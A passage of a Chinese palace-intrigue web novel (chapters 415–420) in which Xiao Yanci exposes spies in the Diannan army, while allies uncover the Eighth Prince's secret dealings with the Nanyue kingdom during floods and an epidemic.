赵家本是寻常渔户,搭上了好运气,才赚取了丰厚的财富。 但他们靠的真的仅仅是好运气吗?这值得查一查。 若能抓住对方的把柄,就能成为他们反击的利器。 这件事他会查,但光靠他不一定能摸到门道,交给陆知苒更合适。 她手下有商行,商行走南闯北,又都是行的经商之事,打探起来会简单些。 梳理清楚了这两条思路,谷栖山便立马吩咐。 “阿权,你派人,悄悄给瑾王妃送一封信……” 他身边的耳目太多,不能轻易出府,只能交给手下去办。 他虽给了萧晏辞一千人手,但手中也依旧留着几人。 他们替自己办这件事,足够了。 瑾王府。 陆知苒经历了一开始的慌乱,现在已经慢慢冷静了下来。 一个模模糊糊的怀疑在脑中升起,只是她不敢确定,便派了人去调查。 没想到这时,有人送信来了。 看罢了书信,陆知苒的眸色深了几分。 谷栖山竟然送来了有关八皇子的讯息,而这些都是她刚刚派人去调查的。 没错,她也怀疑八皇子。 他看上去最无害,但最无害的人,或许才是真正的毒蛇。 原本她只是脑子里生出这个怀疑,全凭自己的猜测。 但现在,有了这些讯息的佐证,她基本上可以断定,自己的猜测定然不假。 八皇子多年来,一直都隐于暗处,韬光养晦,直到近日,他慢慢长大,才露出了獠牙。 她立马提笔写了两封信,让人想法子送出去。 一封是给心腹谭旭文的,另一封,则是给恒瑞商行的管事。 赵家那边,必须要派人好好查一查。 她不仅要让自己的人查,还要请萧晏珩的人帮忙。 恒瑞商行也是靠海外起家,或许,他们对赵家会有更多的了解。 柔贵妃那头也很紧急,她在宫中更加危险,万不能再出什么岔子。 只是,她如今亦不便入宫,该如何提醒柔贵妃? 思来想去,陆知苒只能想到一人,萧宝珠。 这个关头,只有萧宝珠能帮自己传话了。 陆知苒原本还在想着怎么给萧宝珠传信,若不能明着来,只能让王府侍卫悄悄去办。 但她还没来得及安排,第二日,萧宝珠就主动登门了。 第415章 万民伞 瑾王府被禁卫军围着,任何人不得进出,萧宝珠也被拦在门外。 “公主,皇上有令,任何人不得出入,还请公主见谅。” 萧宝珠根本不吃这一套,扬手就直接给了那人一记耳光。 “大胆,你算个什么东西,连本公主也敢拦?” 那禁卫军被打,也敢怒不敢言。 “公主见谅,小的真的只是奉命行事。” 萧宝珠声音拔高,态度十分跋扈,“父皇就算下令禁足,瑾王依旧是瑾王,瑾王妃也还是瑾王妃,什么都没有改变。你们现在拦着我,日后事情有了转机,你们就吃不了兜着走!” “本公主现在还能好好地跟你们说话,逼急了我,我这就去宫里告你们的状去,看看父皇究竟是站在你们这边,还是站在我这边。” 一番威逼利诱,禁卫军终于露出松动,老实放行了。 这位是皇上最宠爱的公主,驸马孙牧之接连立下功劳,他们招惹不起。 更何况,瑾王日后的前程如何,谁都说不准。 做人做事留一线,日后好相见。 萧宝珠顺利进了瑾王府,见到了陆知苒。 陆知苒看上去一切如常,看到萧宝珠她脸上立马绽放出了笑容。 反倒是萧宝珠,一副快要哭了的模样。 “苒姐姐,事情怎么会变成这样?” 原先她只是担忧七皇兄的安危,谁能想到,局势陡然发生了这般大的变故,原本最喜爱七皇兄的父皇,也一下变了态度。 七皇兄是怎样的人,父皇难道不知道吗?他怎么可能会有谋反之心呢? 滇南王性情如何,萧宝珠没见过。 但她从叶寒衣的口中所了解到的滇南王,分明是个忠君爱国之人,他又怎会无缘无故叛变? 柔贵妃还在京城,他们怎会不顾她的安危? 这些道理,连她这个不懂朝事的人都能想到,为何父皇却像一叶障目般,钻了牛角尖? 萧宝珠担忧极了,同时更有对陆知苒的愧疚。 太仓商行前段时日还出面售卖平价粮,稳住了京城中的粮食价格,为朝廷立了功劳。 转个头,父皇就把她禁足了。 父皇简直不讲道理。 陆知苒读懂了她的担忧与愧疚,伸手轻轻将她抱了抱。 “宝珠,这些都只是暂时的,一切都会好起来的。” 萧宝珠用力按吸了吸鼻子。 “我相信七皇兄,他不会做糊涂事。我担心他的安危,也担心你想不开。” 陆知苒笑了笑,“好宝珠,你多虑了,我岂会这般不堪一击?我会好好的,等着你七皇兄平安归来。” 萧宝珠闻言,也受了鼓励,这才破涕为笑。 “你能这个时候来看我,我很感动。我也刚好有一件事需要你帮忙。” 萧宝珠立马擦掉眼泪,一脸正色。 “什么事?你说,我一定赴汤蹈火,在所不辞!” “我有一封信想转交给母妃,你能见到她吗?” 陆知苒没有把事情告诉她,她性子急,又心思浅,若当真知道八皇子有问题,只怕她会不小心在对方面前露了底。 而她也相信萧宝珠的人品,定不会随便偷看她的书信。 萧宝珠也什么都不多问,拍着胸脯保证。 “小事,包在我身上!” 柔贵妃也被禁了足,但除了禁足,其他一应待遇都没有变,更没有明令禁止不许旁人探视。 萧宝珠去看她,料想也没人敢拦。 就算当真有人要拦,她就像方才那样,直接闹,看她们敢不敢得罪她。 来都来了,萧宝珠便索性留下来吃了顿饭。 来到府中的饭菜依旧如往常,并没有受到苛刻,她才放心。 临走前,萧宝珠还一再宽慰陆知苒,“我时不时就会来看你,若是你遇到什么紧急的事,你要想法子派人给我传话。” 陆知苒一一点头。 第二日,萧宝珠就进了宫,去了夕颜殿。 她顺利见到了柔贵妃,将陆知苒的书信交给她,又对她宽慰了一番,自不必细说。 萧宝珠离开后,柔贵妃拆开了书信。 看罢,她将亲手将那书信烧了,脸色变得十分难看。 赵婕妤! 此前,是她小看了她们。 现在,她既然已经有了提防,自然不会再让她们再有机会对她下手。 更何况,她现在被禁足着,那赵婕妤便是想进来嫁祸她,也不可能。 婆媳二人之间进行了一场秘密的信息交换。 原本她们似无头的苍蝇,连仇家是谁都摸不清楚,但现在,她们心中已经有了一杆秤,敌暗我明,变成了敌明我暗。 眼下正是对方春风得意之时,也是她们趁机寻找破绽的良机。 要有耐心,不能急,只要事情尚未盖棺定论,就一定能找到翻身之机。 时间转眼到了十月,本该秋高气爽的好天气,但今年却格外闷热,太阳高挂头顶,释放着骇人的威力,似要把整片大地都烤化了。 滇南府依旧消息隔绝,情况未明。 而八皇子萧晏临已经从闽南回来了。 闽南的灾情已经完全控制,接下来便是休养生息和灾后重建等事宜,萧晏临本欲善始善终,督办到底,但他此前日夜辛劳,身体终于承受不住病倒了,这才不得不提前离开。 而他回京当日,闽南的百姓夹道相送,十分不舍。 百姓们还送上了万民伞,表达他们对八皇子的感激之情。 萧晏临回京后,第一时间入宫复命,更是将万民伞大张旗鼓地送入宫中。 那伞褪了色,青布面子上,横七竖八地绣着密密麻麻的名字,针脚歪斜,显见得是出于许多不同的手。 伞骨子也折了两根,勉强用麻线缚住,撑开来便有些歪斜,像是个驼背的老人。 “父皇,闽南此次遭遇天灾,百姓们本无活路可走,幸而父皇仁慈,及时派发粮草支援,这才让百姓们重建家园,这是百姓们对您恩德的感念,儿臣自作主张,代为收下,还望父皇莫怪。” 德丰帝见到那万民伞,这段时日一直紧皱的眉心终于得以舒展。 “好,好好好,老八,这次你的差事办得非常不错。” 萧晏临一脸义正言辞,“儿臣不过是奉了父皇之命去办了此事,这一切都是父皇的恩德,也正是父皇龙气庇佑,才让闽南百姓顺利度过难关。” 第416章 滇南府近况 萧晏临这话再次搔到了德丰帝的痒处,他心头郁结一扫而空。 一众朝臣也纷纷出列,对八皇子极尽夸赞。 德丰帝沉吟一番,当场颁布口谕。 “八皇子此番奉旨赴闽南赈灾,夙夜勤勉,调度有方,活民无数,更兼防疫得力,使灾患消弭,民心归附,实乃朕之肱骨。” “着,晋封为宁王,赐亲王金册宝印,享亲王俸禄,仪制同诸王例。加赐良田千顷,岁增禄米万石。宁王生母赵婕妤,晋位昭仪。” 宁王萧晏临当即面露喜色,跪地谢恩。 散朝之后,众臣纷纷恭贺宁王。 谷栖山看着被众人簇拥的年轻男人,眸底藏着一片晦暗不明。 萧晏临似有所感,忽而转头朝他看来。 二人目光碰撞,谷栖山面色如常,萧晏临回以他一记微笑。 他的笑容看上去依旧单纯无害,但谷栖山却仿若看到了一头露出獠牙的狼。 谷栖山的心中狠狠一沉,只盼着给滇南送去的消息能尽早送到…… 滇南府。 一场汹涌的山洪灾害后,留下的是满地淤泥与破碎的家园。 青石板路被掀翻,断裂的木板与陶罐碎片深陷泥中,偶尔露出一角,像在无声控诉这场灾难的暴行。 滇南的百姓们没有时间修复家园,南越国趁势发兵攻打,为了守护家园,老弱妇孺齐出力,扛起大刀便冲杀上了战场。 这是他们的家,哪怕被毁了,也是他们的家园,决不允许外来之人踏足半步。 滇南府很快陷入了粮食危机。 滇南王开放王府粮仓,但只能优先供给军中。 他舍弃老脸,向城中富商借粮,这才解了燃眉之急,但发放的稀粥却清得能照见人影。 就在滇南府岌岌可危之际,萧晏辞率援军赶到了。 他带来了朝廷的精兵,个个精锐,杀人如砍瓜切菜般,南越军被顺利击退。 他还带来了一大批粮草。 除了朝廷分派的粮食,还有太仓商行和洛氏商行自行筹措的。 满当当,沉甸甸,白花花的大米被运入城中,一下成了众人的定心丸。 百姓们终于吃上了饱饭,也看到了希望。 但老天爷似乎不想轻易放过他们,暴雨依旧持续不断。 滇南府内涝严重,自一月前,第一滴雨落下,天空便如同被捅破的水囊,再无停歇之意。 黑云压城,昼夜不分,倾盆而下的雨水,冲刷着这片饱受苦难的土地。 众人一边忙着安置受灾百姓,一边还要抵御南越军隔三差五的滋扰。 灾难之后,瘟疫开始蔓延。空气中弥漫着腐臭与苦药味,不断有裹着草席的尸体被抬出。 戴着面巾的衙役挨家挨户搜查,发现病患就强行拖走,哭喊声惊飞了屋檐下避雨的乌鸦。 萧晏辞没有睡过一天囫囵觉。 他将滇南府的情况呈递给皇上,请皇上再派增援。 粮草,药材,人手,什么都缺! 滇南府府城坐落于云岭余脉的盆地之中,东有青龙山悬崖如刀削,西有白虎岭怪石嶙峋,北倚玄武峰终年云雾缭绕。 这三座山脉如同天然城墙,仅在南面留出隘口通往南越国境。 正是这样的地形特征,南越国的气候截然不同,滇南府遭遇洪涝,南越国却安然无恙。 滇南府一旦落入南越之手,大齐将失去一道屏障,中原百姓危矣。 如今洪灾肆虐,天险反成死地,昔日屏障尽化泽国。 而通往京城的几条要道也被雨水冲垮,要想入京,只能翻过高高的山峰。 除此之外,便只能走水路。 澜沧江支流玉带河呈“S”形绕城而过,平日里舟楫往来,如今洪水漫溢,河道已与城外沼泽连成汪洋,仅剩几处高地露出竹楼翘角。 要走水路,风险很大,一不小心就船毁人亡。 滇南府的消息传不出去,外面的补给也送不进来,竟变成了孤岛。 这个消息似一块巨石压在众人的头上。 滇南王已过耳顺之年,身形依旧挺拔如苍松,可眉宇间的疲惫却如刀刻般深重,那双曾令敌军胆寒的锐利眸子,如今布满血丝,眼尾爬满了细纹。 滇南王世子叶衔烽体格健硕,他正值壮年,但墨发中已掺了银丝,被雨水打湿后紧贴在鬓边,更显疲惫。 这段时日以来,他们没有睡过一个囫囵觉,每天都在为百姓们的生计发愁。 朝廷的支援到不了,他们就只能靠自己。 滇南王眸光锐利,语气铿锵有力。 “以前滇南府也并非没有遇到过洪涝灾害,照样熬过来了,这一次,也定能熬过去。” 叶衔峰眉头紧锁,一时没说话。 以前滇南府的确遇到过洪涝灾害,但没有一次比这次严重。 而且,这次还有南越国在背后虎视眈眈。 “外祖父说得对。” 萧晏辞的声音从外面传来,他也跟着大踏步而入。 他冒雨而来,玄色外袍被雨水浸透,几缕湿发黏在棱角分明的颊边,他随手抹了把下颌的水珠,露出被护腕磨红的手腕。 看到他来,滇南王原本紧绷的面容顿时露出几分柔和。 “外祖父,大舅舅,咱们齐心协力,定能熬过这个难关,你们放宽心,莫要太过忧虑。” 滇南王点头,“阿辞所言极是。” 又看向叶衔峰,“你这个做舅舅的,心性反倒没有阿辞豁达坚毅。” 叶衔峰露出惭愧之色。 萧晏辞转而说起了自己此番前来的正事。 “外祖父,大舅舅,我有一件要紧事。” 二人立马正了神色。 萧晏辞凑近两分,又压低了声音,“我们军中,或许有奸细。” 这话让两人的面色陡然一沉。 “阿辞,此话当真?你可查到了什么证据?” 萧晏辞摇头,“证据我没有查到,但这段时间,他前前后后遭遇了很多次刺杀,对方俨然像是熟知我的行踪。而且,这几次南越国来袭,他们似都能提前预知我们的作战计划,一两次也就罢了,每次都如此,这就不得不让我怀疑了。” 滇南王没有亲自领兵作战,没有发现这一点。 叶衔峰参与了作战,只是他行事大开大合,心思不够细腻,未曾察觉。 这几次面对南越国的失败,他只当是己方士气不振的缘故。 而今有了萧晏辞的提醒,他认真思索起来,倒是真的发现了些许端倪。 滇南王的面色愈发阴沉。 他平生最痛恨的,便是那等吃里扒外之人! 第417章 抓住奸细 “外祖父,我有一良策,或能引蛇出洞,你们不妨听听。” 萧晏辞与他们如此这般一番细说,滇南王和叶衔峰连连点头。 “此法甚好,便这么办。” 叶衔峰对滇南军务较为了解,这件事便交给他来办。 鱼饵抛了出去,三日后,果然有鱼儿咬钩了。 近些时日,南越国隔三差五就来骚扰,他们不强攻,打了就跑,其手段令他们不堪其扰。 叶衔峰与麾下众将商议,与其被动挨打,不如主动出击,他们制定了夜袭敌军粮仓的计划。 这个计划制定好之后,便暗中派亲信监视各营动向,尤其留意异常传信或私自离营者。 果然有蛇出洞了。 次日,叶衔峰突然召集众将,宣布修整计划,改为攻打敌营东翼。 距离出发只剩两个时辰。 众将都在准备,那条蛇再次出动了,悄悄放出信鸽。 就在这时,隐秘在暗处的人出现,截获了他的信鸽,那人也被控制。 萧晏辞从暗处现身,那人见到他,脸色一沉。 “向辉?竟然是你!” 这是他带来的援军中的一人,是百夫长。 此人作战十分勇猛,萧晏辞对他有几分印象。 本以为奸细出在滇南军内部,没想到,竟出现在他带来的援军中。 向辉强作镇定,“瑾王殿下,小的有些内急,出来小解。” 暗卫已经把信鸽上的东西取下,交到了萧晏辞的手里。 萧晏辞看罢,眸色深了几分,“那这又是什么?” 上面赫然写着,“滇南军改攻东翼,速调弩手埋伏。” 向辉的眸底闪过一抹杀意,他什么都不再多说,拔剑朝萧晏辞劈去。 事情败露,他百口莫辩,唯有趁势反扑,或许尚有一线生机。 但萧晏辞早有防备,怎会被他所伤? 暗处的暗卫也第一时间出手,向辉便是再勇猛,也难敌众人围攻。 不过一个回合,他就被废了手臂,再没了还手之力。 萧晏辞冷冷地看着他,“说,你为何要勾结南越国?是谁指使你的?” 向辉彻底露出真面目,“我不会说的,要杀要剐但凭处置!” 叶衔峰等人也赶到,他道:“交给我吧,我手底下有个能人,最擅刑讯,没有他撬不开的嘴。” 萧晏辞点头。 向辉被悄悄带了下去。 “舅舅,军中定不止向辉一个奸细,但此法可一不可二,我们还得仔细筛查。” 叶衔峰的脸上也布满凝重,“殿下所言极是,与向辉走得近之人,我都一并命人抓了,严加拷问。” 萧晏辞阻拦,“先等等。今晚,我们先来个将计就计。舅舅你去集结士兵,一个时辰后,准时发兵。” 叶衔峰很快反应过来,一拍脑袋,“我个榆木脑袋,真是糊涂了,我这就去集结士兵!” 他性情粗狂,喜欢直来直去,有时候行事的确欠缺考虑。 萧晏辞将那封飞鸽传书照旧发了出去。 众士兵集结好,直到真正出发时,新的指令才传达下去:按原计划,夜袭敌军粮仓。 大部分士兵都听从指令,但也有人跳出来抗议。 “一会儿夜袭粮仓,一会儿又改攻东翼,现在又变成了夜袭粮仓,朝令夕改,简直把军令当儿戏。” “对啊,闹着玩儿似的,简直不把我们的命当命。” 有人刻意煽动人心,士兵们的士气大受影响。 萧晏辞下令,将那些人尽数捉拿,当众打了军棍。 “军令如山,胆敢违抗者,一律军法处置。” 这番杀鸡儆猴,总算让大家噤了声。 大军出发,向南越军发起攻打。 这一战,滇南军大获全胜,成功偷运了不少南越的粮草,偷不走的,则被他们一把火烧了。 只因南越军收到飞鸽传书,大部分兵力都调往东翼,粮仓处防守空虚,这才让他们钻了空子。 这是滇南军打的最酣畅淋漓的一场胜仗。 得胜归来时,士气大为高涨,大家都有种狠出了口气的酣畅淋漓。 滇南府的百姓们也扬眉吐气了一回。 战后,萧晏辞也依旧不敢放松,各个关卡要道也都严密防守,唯恐南越军趁着他们放松之际反扑。 向辉那头却没有好消息。 他嘴巴很硬,受了酷刑竟是半个字都不肯吐露。 最后找了空子,往差役的刀上撞,死了。 叶衔峰把大话说了出去,最后却让证人死了,实在打脸,他在萧晏辞面前都有些抬不起头来。 萧晏辞心中虽然遗憾,但也没有责怪。 “向辉是个硬骨头,且对自己主家忠心耿耿,他既不愿意开口,我们便是再如何用刑只怕也无济于事。舅舅不必自责。” 叶衔峰叹息,“这根线索就这么断了。” “谁说断了?先前已经有不少人露了马脚,从那些人身上顺藤摸瓜,或许能有意想不到的收获。” 大军出发前,便有人煽动军心。 那些挨了板子的人,都是可疑之人。 有好些侥幸逃过军棍的人也已经被悄悄记了下来。 萧晏辞不打算动他们,而是派人暗中盯着。 他们若是有问题,迟早会露出马脚。 而向辉,则对外声称战死,无人怀疑。 就在这时,萧晏辞迎来了两个不速之客。 看着眼前这蓬头垢面,脏得像泥地里打过滚的人,萧晏辞险些没认出来。 “南笙,林铮?你们怎会在此?还把自己搞成这副模样?” 没错,眼前之人,正是蒋南笙和林铮。 蒋南笙打了个大喷嚏,“一言难尽,我想先洗洗。” 她不好意思说,她已经一个月没洗澡了,身上怕是早就臭了。 林铮也没比她好到哪里去,两个人谁也别嫌弃谁。 萧晏辞立马安排,两人洗漱的时候,他又让人准备了一桌饭菜。 眼下粮食并不宽裕,大鱼大肉没有,粗茶淡饭还是没问题的。 萧晏辞让人去叶寒衣那里要了套衣裳,她闻讯自己把衣裳送来了。 大家都有满肚子的疑问,但还是等着他们两人吃饱了才开口。 “你们该不会是从南越国回来的吧?” 这话竟是问对了。 蒋南笙点头,“没错,我还探听到了一个惊天大消息,你们绝对想不到。” 第418章 知人知面不知心 萧晏辞和叶寒衣都齐齐看着她。 蒋南笙脸上一派严肃之色。 “我此前乃奉了皇上之命,调查蛊虫之事。我起先是在滇南府,而后发现了线索,一路查到了南越国。到了那里我才发现,南越皇室饲养蛊虫蔚然成风。先前出现在西平城的蛊虫,就是出自南越国。” 萧晏辞面色也微微沉了沉。 叶寒衣怒道:“南越国专司此等邪门歪道,还妄图将蛊虫之祸引到大齐,其心可诛。” 蒋南笙继续道:“我探查到,我大齐朝有人与南越国暗中往来,图谋不轨,你们定然猜不到那人是谁。” 萧晏辞和叶寒衣异口同声,“是谁?” 蒋南笙缓缓吐出一个名字。 “八皇子,萧晏临。” 二人的表情瞬间凝固。 萧晏辞满眼难以置信,他第一反应甚至怀疑蒋南笙是不是消息有误。 叶寒衣则是有些怀疑自己的印象。 “八皇子是高高瘦瘦,白白净净,长了一张娃娃脸的那个?我没记错吧?” 萧晏辞从齿缝里挤出三个字,“没记错。” 他印象中的八皇弟,也是这么个形象,就像个还没长大的半大小子。 这么一个半大小子,竟是与南越国勾结的幕后之人? 这两者的反差太大,叫人难以把两者联系在一起。 “南笙,此事,你可确定?” “若非没有十足的证据,我断不敢胡说。” 萧晏临自然没有亲自做这些事,这一切都是赵家出面。 赵家,在大家眼里,这就是个小门小户之家,上不得台面,不值得被放在心上。 但实际上,这小门小户,早就在大家不注意的时候赚取了庞大的财富。 有银子,就能办成很多事。 南越国稻米和水果丰富,但铁器稀缺,湿热的气候也限制了他们战马的饲养,只能从外购买。 以往他们与滇南府交易,但后来,赵家主动寻上门,双方开始有了贸易往来。 赵家给南越国售卖铁器和马匹,收取的价钱比滇南府低廉不少。 借着这机会,赵家与南越国皇室的官员有了交道,慢慢的,就接触到了蛊术。 越是深奥的蛊术,越是不外传,真正有实力的大巫,更是轻易不收徒。 但架不住赵家多年谋划,慢慢打通了关系,结交了人脉,这才走通了这条路子。 蒋南笙和林铮在南越国潜伏数月,还把自己扮成巫者,这才慢慢查到了线索。 多亏了林铮,潜入了那与赵家合作的官员家中,查到了双方往来交易的书信。 蒋南笙示意,林铮这才小心地将东西从怀中取出。 萧晏辞和叶寒衣翻看着,脸色一点点变得凝重。 老话说,知人知面不知心,委实不假。 若非蒋南笙查到的这些证据,萧晏辞无论如何都不相信,自己那八皇弟竟藏得这般深。 赵家是他的外祖家,若说他对这些事毫不知情,萧晏辞是不信的。 就算一开始他年幼懵懂,但随着他慢慢长大,这些事也定会慢慢告知他。 哪怕他当真无辜,萧晏辞与他,也注定不能相安无事地做一对寻常兄弟。 叶寒衣恨声,“这蛊虫之害分明是南越国和赵家搞出来的,最后反而要我们滇南府为他们背锅,当真可恨!” 蒋南笙提醒萧晏辞另外一件事。 “八皇子的舅舅,当初便是在西平被行了军法,当众打死,我祖父说,是谷将军下的军令。” 萧晏辞一怔,叶寒衣更是脱口道:“那谷将军和我姑母的事……” 话说了一半她赶紧打住了。 这事不能随便说,即便是对蒋南笙也不能说。 但萧晏辞一下就明白了她的话外之意。 他们二人的这桩旧事,是被有心人发现,又借着赵书宁之口传到了父皇的耳中。 这有心人会是谁? 原本他们想不明白,现在总算是有了头绪。 此事定是赵家人发现的。 赵家人对赵虎之死耿耿于怀,所以派人调查谷栖山,这才发现了这桩旧事。 这个筹码一直捏在手里,等到合适的时机,才终于揭开。 萧晏辞和叶寒衣都想明白了其中的关窍,二人俱是不寒而栗。 这个对手,不容小觑。 蒋南笙听了半截话,识趣地没有追问。 她道:“这些证据,我会亲手交到皇上的手中,届时皇上也会知道滇南府是被冤枉的。” 萧晏辞的眉头紧蹙,“大水冲垮了通往京城的要道,你恐怕暂时回不去了。” “能修好吗?” 萧晏辞摇头,“眼下大雨还在下,雨水蔓延,没法修。” “有没有其他路可以走?” “有倒是有,但要在山上绕行,太危险了。” 蒋南笙一时没说话,权衡着此事的可行性。 而一直沉默的林铮终于开了口。 “我不同意你冒险。” 他的语气很坚定,带着一股不容置疑。 蒋南笙脸上露出两分示弱与讨好,“你知道的,这些东西耽搁不得,而且,有你保护我,我定然没事。” 林铮丝毫不让,“不行,暴雨之后,林中危险重重,我也不敢保证一定能护你安全。没有任何事,比你的安全更重要。” 蒋南笙原本到嘴的话又一下咽了回去,面上露出几分无奈。 她知道,在其他事情上,林铮都听她的。 但在事关自己安危时,他半分不会退让。 萧晏辞也开了口,“林铮说得没错,任何事都没有你的安危要紧。我们会加紧修复交通要道,届时你再回京也不迟。” 蒋南笙心中虽然有些着急,但情势如此,她也只能暂时住下,走一步看一步。 有了蒋南笙提供的这个情报,萧晏辞心中的迷雾散了不少。 对于那些奸细,他心中也有了应对之法。 先让舅舅安排人手,盯着那些可疑之人。 若他们有了异动,立马控制起来,单独审问。 两天后,果然抓住了几个行动鬼祟之人。 审问时,便拿八皇子套话。 一听到八皇子,他们的反应果然有了破绽。 借着这个破绽,终于顺利撬开了他们的嘴。 “果然是八皇子安插的人!” 叶衔峰拿着口供交给萧晏辞,面色一片阴沉。 萧晏辞接过口供,这才知道自己这位八皇弟是如何笼络人心的。 第419章 天家无父子 原来,他埋的这些棋子大多都是贫苦出身,他们都受过赵家的恩惠。 他们能顺利参军,吃上皇粮,都离不开赵家的帮衬。 除了他们,军中还有不少都是八皇子的人。 一人招供,其他人也跟着招了,拔出萝卜带出泥,萧晏辞对军中上下来了一次彻底的大清洗。 为免有误伤,他只是把人关起来,暂不作处置。 待过后调查清楚,再一一处理。 有的是曾经出卖过滇南府,这样的人必须除掉,以儆效尤。 若没有做过错事,即便他们曾爱受惠于八皇子,萧晏辞也暂时不杀,以招安为主。 蒋南笙和林铮在滇南府暂住下来,他们也没闲着,开始在灾民营中帮忙。 蒋南笙给城中病患诊了脉,开了新方子,大家连续服了三日,症状便大有好转,又过了几日,滇南府中的疫情局势便得到了有效控制。 百姓们对她顿时感恩戴德,滇南王更是亲自出面感谢。 而南越国经历了前天的那场大败,暂时老实了,没有再来进犯。 瓢泼的大雨也终于有了要停歇的趋势,滇南府众人都看到了希望。 就在气氛渐渐松弛时,城外巡视的士兵遇到了一行人,他们被送到了滇南王的面前。 “王爷,他们自称是镇西将军的部下,是奉了将军之命前来给您传消息的。” 滇南王闻言,愣怔了一瞬才反应过来,镇西将军就是谷栖山。 “快,把人带上来。” 叶衔峰和萧晏辞也都闻讯赶来,萧晏辞还把陈江祺带来了——他是谷栖山那一千人的头领。 若这一行人当真是谷栖山派来的,陈江祺定然认识。 一行十五人被带到人前,他们浑身上下全是泥点子,满脸络腮胡没来得及打理,头发也乱糟糟的,全是疙瘩,看上去比难民营里的灾民更加凄惨。 陈江祺看着他们,看了半晌,才不确定地喊出他们的名字。 “你们怎么把自己折腾成这样?” 一句话,让那十五人差点哭出来。 他们为了翻过大山抵达这里,没日没夜地赶路,连口气都没来得及喘。 但眼下不是哭诉这些的时候,他们很快说起了正事。 “我等是奉了将军之命前来给滇南王和瑾王传信,京城出大事了!” 他们语速飞快,将京中发生的几桩大事尽数道来。 在场众人宛若五雷轰顶,面色齐齐变了。 滇南王一时没站稳,身子都狠狠趔趄了几步。 叶衔峰是个急性子,听得又急又气,在原地来回打转,一边转一边骂。 “朱吉瑞那个狗娘养的,当初他到咱们这儿,老子怕他不适应,处处优待,没叫他吃半点苦头,他就是这般报答我们的,竟敢污蔑我们谋反!” “真该让朝廷那些人来这里瞧瞧,看看我们滇南府究竟是否真正遭了灾!皇上怎么这般糊涂,一再听信小人一面之词……” 滇南王怒喝,“住嘴!皇上岂是你我能随意置喙的?” 叶衔峰胸口上下起伏,脸色涨得通红,俨然是气到了极致。 “儿子说的都是实话!” 滇南府兢兢业业驻守此地,经营民生,连他那如花似玉的妹妹都送进了后宫,就是为了安德丰帝的心。 饶是如此,依旧逃不过帝王猜忌,委实令人心寒! 皇上派出了平乱军,究竟平的是南越国的乱,还是平的他们滇南府? 萧晏辞的面色铁青,半晌都没说话。 不用想也知道,这一切定是他那八皇弟的手笔。 自己以前的的确确是小看他了。 但更让他心寒的,是父皇的态度。 若他对外祖父多一些信任,旁人便是再如何挑拨也无济于事。 父皇怀疑外祖父的时候,对他这个儿子,又是什么态度? 他派出平乱军,是否要把自己这个儿子也当成乱党一起平了? 都说天家无父子,果然如此。 滇南王的脸色也很难看,他的心绪并不平静,他的心中亦有愤怒和怨气。 但此时并非发泄怨气的时候。 南越国依旧虎视眈眈,朝廷又生了卸磨杀驴之心,滇南府腹背受敌,岌岌可危。 他们必须尽早想出良策。 就在这时,又有士兵来报喜。 “殿下,小的瞧见河岸那头似有朝廷的援军到了!” 士兵报完喜,就发现大家的脸上非但没有半分喜色,反而更加难看几分。 两刻钟前,他们或许真的会为“援军”的到来而欢喜。 但现在他们知道,那所谓的援军根本不是来救援的,反而是来给他们致命一击的。 此时他们只庆幸,两地的交通要道被冲断了,“援军”想要过来也不容易。 不然,滇南府就真的要腹背受敌了。 蒋南笙也听说朝廷兵马到了,她第一时间来寻萧晏辞,想与她商议修桥之事。 桥梁修好了,朝廷的兵马可以抵达滇南,一起对抗南越军,自己也能顺利回京,尽早把手中的证据呈递出去。 但见到萧晏辞,她也被兜头泼了一盆冷水。 萧晏辞没有隐瞒她,将京中发生的事情一五一十尽数道来。 蒋南笙顾不上震惊,她当机立断,“我必须马上赶回京城,尽早把证据交给皇上!” 此刻,她的心情前所未有的迫切。 八皇子十年磨一剑,而今终于朝众人亮剑了。 他既已出手,就断然没有手下留情的道理。 京中就只有他一个皇子,说句不好听的话,德丰帝若是有个三长两短,那他就能顺理成章地执掌朝政。 而萧晏辞的谋逆罪名将永远无法洗清。 趁着局势尚有回转之力,她必须立刻赶回去。 林铮的眉头也紧紧蹙着,他也说不出反对的话。 萧晏辞苦笑着开口,“南笙,我知道你的好意,但是,光靠你是没法挽回局面的。父皇对滇南府已然生了忌惮之心,此次之事,不过是给了他发难的由头罢了。就算有你作证滇南府的无辜,他也未必会放过。” 在没有利益冲突的时候,德丰帝与萧晏辞的父子情分或许禁得起考验,可一旦出现了利益的分歧,皇家父子的情分将变得不堪一击。 这次的事情让萧晏辞看清了一切。 他这话让众人再度沉默了。 大家都感到了一股无形的压力压在头顶。 那是皇权的威严。 第420章 干一票大的 这一刻,萧晏辞再次生出了强烈念头,他定要坐上那个位置。 只有坐上了那个位置,才能拥有至高无上的权利,才能主宰一切。 他不想再受制于人,哪怕这个人是他的亲生父亲。 蒋南笙沉默了片刻,再次开口,“无论如何,我都要尽快赶回京城。这是皇上交给我的任务,我总要给他一个交代。而且,八皇子所做的事,也要有人揭开,皇上不能被蒙在鼓里。” 蒋南笙说完,转而看向了那狼狈的十五人。 “你们从京城赶到这里,一共花了多长时间?” 为首之人开口,“一共花了二十天,主要是山路难行,我们又不熟悉,还迷路了,在山上我们便花了足足十三天。” “那你们现在可还记得那条路如何走?” 他们点头,“记得,我们一路上也都做了标记的。少走弯路的话,最快五日,我们就能翻过山去。” 蒋南笙听到这个答案,非常满意。 “若我想请你们帮忙带路,你们是否愿意?” 他们毫不犹豫,“我们愿意!” 蒋南笙也不多说客套话,干脆利落地安排,“今夜你们回去好好休息,待你们休息好了,明日我们便出发。” 滇南王则立马命人把他们带到厢房,好生洗漱休息。 这一次,林铮全程都没有开口。 他知道,蒋南笙主意已定,自己的劝阻无用。 而且眼下大雨停了,又有这十五人带路,原本的危险减少许多。 他也会全程护送,不会让她出事。 “阿辞,朝廷大军已经到了,路迟早要修,也迟早有兵戎相见的时候,你们打算如何应对?” 这个问题沉沉地压了下来,让他们不得不面对。 萧晏辞看向滇南王,“外祖父,您以为当如何?” 滇南王眉头蹙起几道深深的褶皱,鬓边的白发似又多了许多。 他开口,语气坚定,不容置疑。 “滇南十三州莫非王土,滇南府库一粟一粒莫非皇恩,本王驻守此地三十余年,夙夜不敢忘朝廷恩德。若怀异志,天地鬼神共殛之!今有宵小构陷,愿剖心以证!” 萧晏辞听了这话,微微松了口气。 外祖父这话已然表明,无论朝廷如何,他都并无谋反之心,只想自保罢了。 只要外祖父无此心,他就能从中斡旋。 若外祖父被父皇激怒,当真坐实了谋逆之举,那一切就都彻底无可挽回了。 叶衔峰面容紧绷,显然对朝廷的不信任依旧满腔怒意。 但他没有开口再说气话。 滇南府还是父王说了算。 